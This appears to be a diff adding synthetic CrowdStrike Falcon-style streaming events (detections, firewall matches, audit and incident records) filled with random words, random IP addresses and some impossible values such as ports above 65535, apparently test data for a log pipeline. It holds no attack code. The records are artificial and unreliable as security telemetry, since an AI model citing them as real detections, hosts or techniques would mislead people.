+{"metadata": {"customerIDString": "fewbattery","offset": 819730980,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "anythingforest","DataDomains": "Web","Description": "company hour company designer battery year understanding bundle shark fun clarity tie love village stupidity year kubanrange","DetectId": "magnificenteffect","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "45.7.49.102","HostNames": "ourlove","Name": "whymob","PatternId": -1898961298,"Severity": 52,"SourceProducts": "Germanpanda","SourceVendors": "wholehatred","StartTimeEpoch": 1643317697728000000,"TacticIds": "severaltroop","Tactics": "itscrowd","TechniqueIds": "everybodygroup","Techniques": "blueslavery","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "so fewfailure","offset": -604173097,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thatpunctuation","DataDomains": "Email","Description": "bunch year patrol sheaf harvest school ithorror","DetectId": "Intelligentphilosophy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "99.40.140.74","HostNames": "herecap","Name": "thatwood","PatternId": 1396940807,"Severity": 8,"SourceProducts": "manyirritation","SourceVendors": "crowdeddream","StartTimeEpoch": 1643317697728000000,"TacticIds": "embarrassedbunch","Tactics": "insufficientroom (space)","TechniqueIds": "whichboxers","Techniques": "hugeparty","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "howlife","offset": -1823057691,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thisgroup","DataDomains": "Cloud","Description": "knowledge brilliance equipment group movement fiction collection hedge fame problem patrol part information greatcovey","DetectId": "Machiavellianchild","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "229.246.233.111","HostNames": "Peruviantroop","Name": "Bangladeshiloss","PatternId": 644905388,"Severity": 39,"SourceProducts": "manychild","SourceVendors": "whycrowd","StartTimeEpoch": 1643317697728000000,"TacticIds": "hiscomposer","Tactics": "Americanforest","TechniqueIds": "Caesarianeye","Techniques": "anyonechapter","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "substantialfriend","offset": -1396362317,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "yourcackle","CustomerId": "thesecrew","Ipv": "193.229.19.220","CommandLine": "whattrip","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "itsbatch","ICMPCode": "severalanger","ICMPType": "Asiancast","ImageFileName": "amusedexaltation","LocalAddress": "253.184.132.24","LocalPort": "24050","MatchCount": 1975078664,"MatchCountSinceLastReport": -1310409146,"NetworkProfile": "hiswisp","PID": "-1403334497","PolicyName": "theirpoint","PolicyID": "whichclub","Protocol": "adventurousoutfit","RemoteAddress": "23.170.44.218","RemotePort": "19410","RuleAction": "somebodycrew","RuleDescription": "group failure book youth cash line host bunch class army group fame thereregiment","RuleFamilyID": "over theregovernment","RuleGroupName": "Middle Easternwoman","RuleName": "yourpack","RuleId": "howtroop","Status": "yellowcompany","Timestamp": 1751371830,"TreeID": "emptyaccident"}}
+{"metadata": {"customerIDString": "hisheels","offset": 828966465,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "anycase","UserID": "itscackle","ExecutionID": "cutenest","ReportID": "therepronunciation","ReportName": "pleasantbrace","ReportType": "modernbravery","ReportFileReference": "Uzbektolerance","Status": "queerdivorce","StatusMessage": "whydivorce","ExecutionMetadata": {"ExecutionStart": -984913931,"ExecutionDuration": 474863803,"ReportFileName": "adorablemurder","ResultCount": -547953070,"ResultID": "whatjustice","SearchWindowStart": 508813606,"SearchWindowEnd": 1635296210}}}
+{"metadata": {"customerIDString": "myexaltation","offset": -523684874,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Gaussianhand","Region": "us-west-2","ResourceId": "Muscovitenumber","ResourceIdType": "whoseyear","ResourceName": "singletrip","ResourceCreateTime": 0,"PolicyStatement": "wherehost","PolicyId": -826618089,"Severity": 43,"SeverityName": "Low","CloudPlatform": "everybodygroup","CloudService": "hisball","Disposition": "Failed","ResourceUrl": "mostcar","Finding": "significantforest","Tags": [{"Key": "whereclothing","ValueString": "everythingdynasty"}],"ReportUrl": "hilariousquiver","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "sufficientslavery","offset": 1957375133,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -829582961,"ProcessEndTime": 169087412,"ProcessId": 1895039937,"ParentProcessId": 1219099601,"ComputerName": "itanger","UserName": "theirloss","DetectName": "anyoneday","DetectDescription": "honesty artist band clarity pack cheese patrol way intelligence bravery outfit clarity heart understanding college zebra moonlight brilliance heap government government neitherneck","Severity": 3,"SeverityName": "High","FileName": "over therethrill","FilePath": "Christianbrother\\over therethrill","CommandLine": "C:\\Windows\\South Americanroad","SHA256String": "wherecandy","MD5String": "itbale","SHA1String": "Portuguesenest","MachineDomain": "itcompany","NetworkAccesses": [{"AccessType": 1284562200,"AccessTimestamp": 1751371565,"Protocol": "whichmuster","LocalAddress": "120.27.112.218","LocalPort": 42593,"RemoteAddress": "232.133.168.219","RemotePort": 49601,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/manyforest?_cid=xxxxxxx","SensorId": "nicereel","IOCType": "domain","IOCValue": "noneteam","DetectId": "ourpart","LocalIP": "169.121.153.163","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Mayanstaff","Technique": "thesemuster","Objective": "eachuncle","PatternDispositionDescription": "knife caravan metal union brother bouquet leap wisp success news butter chest imagination progress thatnest","PatternDispositionValue": -125722399,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "therebill","ParentCommandLine": "allcompany","GrandparentImageFileName": "Lincolniangang","GrandparentCommandLine": "hisbook","HostGroups": "onetrip","AssociatedFile": "hugestring","PatternId": 1708361399}}
+{"metadata": {"customerIDString": "lightfriendship","offset": -669721107,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -741948395,"ProcessEndTime": 1186464878,"ProcessId": 1909058510,"ParentProcessId": -176291732,"ComputerName": "Pacificcoat","UserName": "oneleap","DetectName": "whyclass","DetectDescription": "problem class sofa employment meal basket job nest bag shampoo Romanright","Severity": 1,"SeverityName": "High","FileName": "hereability","FilePath": "whysoup\\hereability","CommandLine": "C:\\Windows\\doublestupidity","SHA256String": "lemonylion","MD5String": "Atlanteancrime","SHA1String": "Danishpigeon","MachineDomain": "itchoir","NetworkAccesses": [{"AccessType": 401823050,"AccessTimestamp": 1751371565,"Protocol": "hereliter","LocalAddress": "36.221.48.16","LocalPort": 43955,"RemoteAddress": "214.89.208.238","RemotePort": 45737,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whoserhythm?_cid=xxxxxxx","SensorId": "hisbook","IOCType": "filename","IOCValue": "Romanhousework","DetectId": "whatposse","LocalIP": "11.21.72.228","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herehorde","Technique": "a littleday","Objective": "motionlesscollection","PatternDispositionDescription": "pack bevy nutrition train yourcomposer","PatternDispositionValue": 1210360208,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "therebrace","ParentCommandLine": "exuberantpod","GrandparentImageFileName": "whypatience","GrandparentCommandLine": "anythingthrill","HostGroups": "fewclass","AssociatedFile": "numerousphilosophy","PatternId": -1461953580}}
+{"metadata": {"customerIDString": "hissandals","offset": 1681604328,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "someonedisregard","HostnameField": "whatgalaxy","UserName": "halfexaltation","StartTimestamp": 1582830734,"AgentIdString": "proudhost"}}
+{"metadata": {"customerIDString": "hernest","offset": 1023013310,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whitebasket","Highlights": ["therescold"],"MatchedTimestamp": 1686889114000,"RuleId": "Machiavellianpart","RuleName": "eitherpigeon","RuleTopic": "heregovernment","RulePriority": "Torontoniantrend","ItemId": "nobodycatalog","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "spottedcompany","offset": -253215512,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whatlighter","UserIp": "72.197.193.234","OperationName": "grantCustomerSubscriptions","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "therehand","ValueString": "anxioustrip"}],"Attributes": {"actor_cid": "anydress","actor_user": "whosescold","actor_user_uuid": "somehat","app_id": "somebodyirritation","saml_assertion": "littlecare","target_user": "smoggydog","trace_id": "mycollege"}}}
+{"metadata": {"customerIDString": "thereflag","offset": 41922970,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "over therelibrary","UserIp": "35.158.67.121","OperationName": "resetAuthSecret","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Ecuadoriandishonesty","ValueString": "Malagasysedge"}],"Attributes": {"actor_cid": "couplearmy","actor_user": "hundredmuseum","actor_user_uuid": "herechapter","app_id": "doublemob","saml_assertion": "herebill","target_user": "Senegaleseanswer","trace_id": "scenicdisregard"}}}
+{"metadata": {"customerIDString": "itteam","offset": 1236731672,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Putinistpark","Highlights": ["thatliterature"],"MatchedTimestamp": 1686889114000,"RuleId": "yourscold","RuleName": "repulsivefield","RuleTopic": "thatship","RulePriority": "thosenecklace","ItemId": "thatrange","ItemType": "BREACH_6G","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "whattime","offset": -1148611913,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Sudanesecare","DetectName": "thisappetite","DetectDescription": "number chair work team logic silence bread buckles orchard comfort troop school bunch horde scheme vehicle caravan part mercy thosefilm","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/friendlycast?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 94,"SeverityName": "Critical","Tactic": "knightlyscold","Technique": "Dutchcoffee","Objective": "nervoussand","SourceAccountDomain": "sufficientgeneration","SourceAccountName": "thisline","SourceAccountObjectSid": "anyoneestate","SourceEndpointAccountObjectGuid": "Mayantribe","SourceEndpointAccountObjectSid": "whyharvest","SourceEndpointHostName": "doublecash","SourceEndpointIpAddress": "240.193.149.84","SourceEndpointSensorId": "Afghanschool","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatstaff","PatternId": 1271181227}}
+{"metadata": {"customerIDString": "Egyptiancompany","offset": -274490636,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "nobodygame","UserID": "Kazakhapp","ExecutionID": "panickeddynasty","ReportID": "anycluster","ReportName": "theseaircraft","ReportType": "Finnishyear","ReportFileReference": "Egyptianwealth","Status": "thesepod","StatusMessage": "thathand","ExecutionMetadata": {"ExecutionStart": -1030429283,"ExecutionDuration": 1600686231,"ReportFileName": "itscrew","ResultCount": -74496630,"ResultID": "Swazifame","SearchWindowStart": 1230543628,"SearchWindowEnd": 267852438}}}
+{"metadata": {"customerIDString": "onepunctuation","offset": 1527408402,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Machiavelliancrew","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\jitterymob","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "nest model posse mustering congregation art justice mustering crowd mirror choir heap popcorn hatred life kitchen growth bird husband cashier bale Indianstand","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whosegossip?_cid=xxxxxxx","FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","FilesAccessed": [{"FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\ourpod","GrandParentImageFileName": "Italianalbum","GrandParentImageFilePath": "thoseroad\\Italianalbum","HostGroups": "Africantrip","Hostname": "abundanttelevision","LocalIP": "190.228.206.91","LocalIPv6": "214.123.123.77","LogonDomain": "heremob","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nuttystaff","Name": "itearrings","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -2066319981,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "128.207.85.90","LocalPort": 24101,"Protocol": "everybodycaravan","RemoteAddress": "152.127.132.123","RemotePort": 72923}],"Objective": "whatpharmacist","ParentCommandLine": "C:\\Windows\\hundredslist\\somebodypack","ParentImageFileName": "somebodypack","ParentImageFilePath": "thosecomputer\\somebodypack","ParentProcessId": 2014137232,"PatternDispositionDescription": "problem troop band whosemob","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": 355869786,"PatternId": -125593628,"PlatformId": "superfact","PlatformName": "Mac","ProcessEndTime": 324662446,"ProcessId": 22868941,"ProcessStartTime": 1177857078,"ReferrerUrl": "itfactory","SHA1String": "wherehappiness","SHA256String": "Turkishcrowd","Severity": 1,"SeverityName": "Informational","SourceProducts": "whosepatrol","SourceVendors": "Gaussianbush","Tactic": "Bangladeshifinger","Technique": "Lebaneseissue","Type": "ofp","UserName": "frailcup"}}
+{"metadata": {"customerIDString": "enviousplace","offset": 1922237950,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thoseapartment","Highlights": ["insufficientbale"],"MatchedTimestamp": 1686889114000,"RuleId": "fewentertainment","RuleName": "emptyhand","RuleTopic": "uptightphilosophy","RulePriority": "allplant","ItemId": "greatcollection","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "ourway","offset": 725667662,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "manybrace","State": "open","FineScore": 4.6245755575309575,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "wherecastle","HostID": "lazyhail","LMHostIDs": ["over therebevy"],"UserId": "fancybevy"}}
+{"metadata": {"customerIDString": "itsexaltation","offset": 647985529,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "nonedata","UserIp": "100.55.7.214","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "severalmotivation","ValueString": "goodhost"}],"Attributes": {"actor_cid": "itsbutter","actor_user": "Bismarckianconditioner","actor_user_uuid": "Hondurantrip","app_id": "thereloneliness","saml_assertion": "thishatred","target_user": "thesehand","trace_id": "itworld"}}}
+{"metadata": {"customerIDString": "eachjumper","offset": 1609562650,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "modernmuster","Highlights": ["severalpain"],"MatchedTimestamp": 1686889114000,"RuleId": "fancytruck","RuleName": "muchman","RuleTopic": "Lincolnianbutter","RulePriority": "yourregiment","ItemId": "heavycovey","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "whichpicture","offset": 237389943,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whygroup","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\nomuster","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "week bouquet rainbow woman class quiver bevy sofa successfullady","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whyheap?_cid=xxxxxxx","FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","FilesAccessed": [{"FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\oneorchard","GrandParentImageFileName": "whereweek","GrandParentImageFilePath": "whyfleet\\whereweek","HostGroups": "yourwatch","Hostname": "eachstack","LocalIP": "117.25.223.118","LocalIPv6": "177.163.164.194","LogonDomain": "itdrum","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nonetree","Name": "mybill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1785054354,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "225.181.191.29","LocalPort": 16239,"Protocol": "mostgenerosity","RemoteAddress": "185.212.179.232","RemotePort": 1575}],"Objective": "Brazilianharvest","ParentCommandLine": "C:\\Windows\\everyonedynasty\\manyclass","ParentImageFileName": "manyclass","ParentImageFilePath": "eachnest\\manyclass","ParentProcessId": -566012898,"PatternDispositionDescription": "somearchipelago","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -1029443668,"PatternId": 953167709,"PlatformId": "thispatience","PlatformName": "Windows","ProcessEndTime": -224812447,"ProcessId": 1387183238,"ProcessStartTime": 1997901822,"ReferrerUrl": "disturbedbundle","SHA1String": "elatedbatch","SHA256String": "herebevy","Severity": 53,"SeverityName": "Informational","SourceProducts": "whosereligion","SourceVendors": "whereperson","Tactic": "nobodyteam","Technique": "oddbook","Type": "ldt","UserName": "Portugueseplace"}}
+{"metadata": {"customerIDString": "boredflock","offset": -1977260193,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "yourregiment","UserID": "Russianstaff","ExecutionID": "thesequiver","ReportID": "whereunion","ReportName": "whereflock","ReportType": "eachjustice","ReportFileReference": "nervousevidence","Status": "thisfriend","StatusMessage": "Monacanreligion","ExecutionMetadata": {"ExecutionStart": -735615861,"ExecutionDuration": 1262735787,"ReportFileName": "allwork","ResultCount": 566549832,"ResultID": "theirreligion","SearchWindowStart": 483200356,"SearchWindowEnd": 1376936238}}}
+{"metadata": {"customerIDString": "whatyear","offset": -1646137857,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherelife","UserIp": "208.218.248.195","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "allorchard","ValueString": "myoutfit"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "over therebrace"}}}
+{"metadata": {"customerIDString": "Madagascanposse","offset": -1429198163,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "ourcookware","HostnameField": "everybodypolice station","UserName": "whichpod","StartTimestamp": 1582830734,"AgentIdString": "itcompany"}}
+{"metadata": {"customerIDString": "singlelibrary","offset": 1142904564,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "impromptubird","UserID": "whosequality","ExecutionID": "nonenecklace","ReportID": "Icelandiccongregation","ReportName": "Beninesework","ReportType": "Swisslitter","ReportFileReference": "oneeye","Status": "itunderstanding","StatusMessage": "wherechaos","ExecutionMetadata": {"ExecutionStart": -1160129291,"ExecutionDuration": -1476704105,"ReportFileName": "thisrespect","ResultCount": 893086467,"ResultID": "heavilyaid","SearchWindowStart": -1434112497,"SearchWindowEnd": 1138221378}}}
+{"metadata": {"customerIDString": "therestress","offset": -747047066,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "howpart","DetectName": "whydynasty","DetectDescription": "philosophy archipelago talent generosity cackle wad garlic way dynasty town darkness onion stand day garage catalog congregation chest horror fish island Vietnameseclump","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/a littleway?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "Low","Tactic": "therewad","Technique": "everybodyvision","Objective": "Rooseveltianwisdom","SourceAccountDomain": "whosenoodles","SourceAccountName": "a lotwarmth","SourceAccountObjectSid": "hugewisp","SourceEndpointAccountObjectGuid": "anyspeed","SourceEndpointAccountObjectSid": "whattroop","SourceEndpointHostName": "itsbunch","SourceEndpointIpAddress": "236.210.225.233","SourceEndpointSensorId": "Welshhorde","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "plenty ofparty","PatternId": 446696863}}
+{"metadata": {"customerIDString": "itsteam","offset": -258427995,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 14301111,"ProcessEndTime": -1138702117,"ProcessId": -986625045,"ParentProcessId": 1209293922,"ComputerName": "eachsedge","UserName": "itsmustering","DetectName": "mostcomputer","DetectDescription": "way film orchard mistake outfit patrol choker cluster mob string beauty company cash thatpack","Severity": 5,"SeverityName": "Critical","FileName": "thatwealth","FilePath": "Cambodiancasino\\thatwealth","CommandLine": "C:\\Windows\\neitherlove","SHA256String": "sleepyspeed","MD5String": "lightcomputer","SHA1String": "mostgroup","MachineDomain": "itshatred","NetworkAccesses": [{"AccessType": -995848599,"AccessTimestamp": 1751371565,"Protocol": "openmob","LocalAddress": "184.220.154.107","LocalPort": 61513,"RemoteAddress": "25.180.92.136","RemotePort": 33068,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everythingman?_cid=xxxxxxx","SensorId": "nonereligion","IOCType": "domain","IOCValue": "everytrip","DetectId": "fancycoffee","LocalIP": "79.196.128.30","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thisexaltation","Technique": "itstissue","Objective": "fewskirt","PatternDispositionDescription": "cash sedge friendship shower trip baby poverty stream cast tribe humour pod chest coffee leisure insufficienttroop","PatternDispositionValue": -395118928,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "Lebanesefleet","ParentCommandLine": "fewcorruption","GrandparentImageFileName": "insufficienttroupe","GrandparentCommandLine": "hisbrilliance","HostGroups": "puzzledcrowd","AssociatedFile": "nobodybatch","PatternId": 375479710}}
+{"metadata": {"customerIDString": "wholeradio","offset": -1760607636,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theirarmy","UserIp": "195.183.77.216","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "theseconfusion","ValueString": "hundredsbrace"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "therefriendship"}}}
+{"metadata": {"customerIDString": "whereregiment","offset": 472409017,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lightbatch","MobileDetectionId": -1636211472,"ComputerName": "obedientfailure","UserName": "itsunion","ContextTimeStamp": 1649061056,"DetectId": "fewwhisker","DetectName": "hismother","DetectDescription": "juice armchair fleet muster cabin line toothpaste marriage group bowl crowd divorce work host lawyer somebodyteam","Tactic": "naughtyadvice","TacticId": "oddcompany","Technique": "Congolesehandle","TechniqueId": "whatwisdom","Objective": "thatstaff","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Beninesefuel?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "hundredsgroup","AndroidAppLabel": "Thatcheritepunctuation","DexFileHashes": "itsburger","ImageFileName": "heregrandfather","AppInstallerInformation": "strangepatrol","IsBeingDebugged": true,"AndroidAppVersionName": "wherecluster","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "everybodycollege","offset": -714324598,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "elegantwork","CustomerId": "somebodyline","Ipv": "17.180.93.244","CommandLine": "herblock","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "theirfleet","ICMPCode": "Orwellianphilosophy","ICMPType": "Honduranday","ImageFileName": "whoseunion","LocalAddress": "184.184.189.171","LocalPort": "62050","MatchCount": 1880415740,"MatchCountSinceLastReport": -1197212413,"NetworkProfile": "theircatalog","PID": "-78565002","PolicyName": "vastbook","PolicyID": "hundredspack","Protocol": "Burmeseflock","RemoteAddress": "235.13.158.70","RemotePort": "73527","RuleAction": "crowdedtrip","RuleDescription": "fish line box man album list mob pen leap team house growth costume part pod woman team air friendlyballoon","RuleFamilyID": "nonemob","RuleGroupName": "neitherhomework","RuleName": "outrageoustiming","RuleId": "significantpatrol","Status": "nobread","Timestamp": 1751371830,"TreeID": "significantset"}}
+{"metadata": {"customerIDString": "elatedpoint","offset": 257541694,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "mypaper","State": "closed","FineScore": 5.549588929587846,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "howchest","HostID": "herejaw","LMHostIDs": ["nonejealousy"],"UserId": "Englishenthusiasm"}}
+{"metadata": {"customerIDString": "someonetent","offset": 823978461,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thesehouse","UserIp": "219.241.32.203","OperationName": "deactivateUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whoselabour","ValueString": "mostline"}],"Attributes": {"actor_cid": "someonehorde","actor_user": "mypoverty","actor_user_uuid": "whichemployment","app_id": "anythingcomb","saml_assertion": "tenderpair","target_user": "significantbattery","trace_id": "anybale"}}}
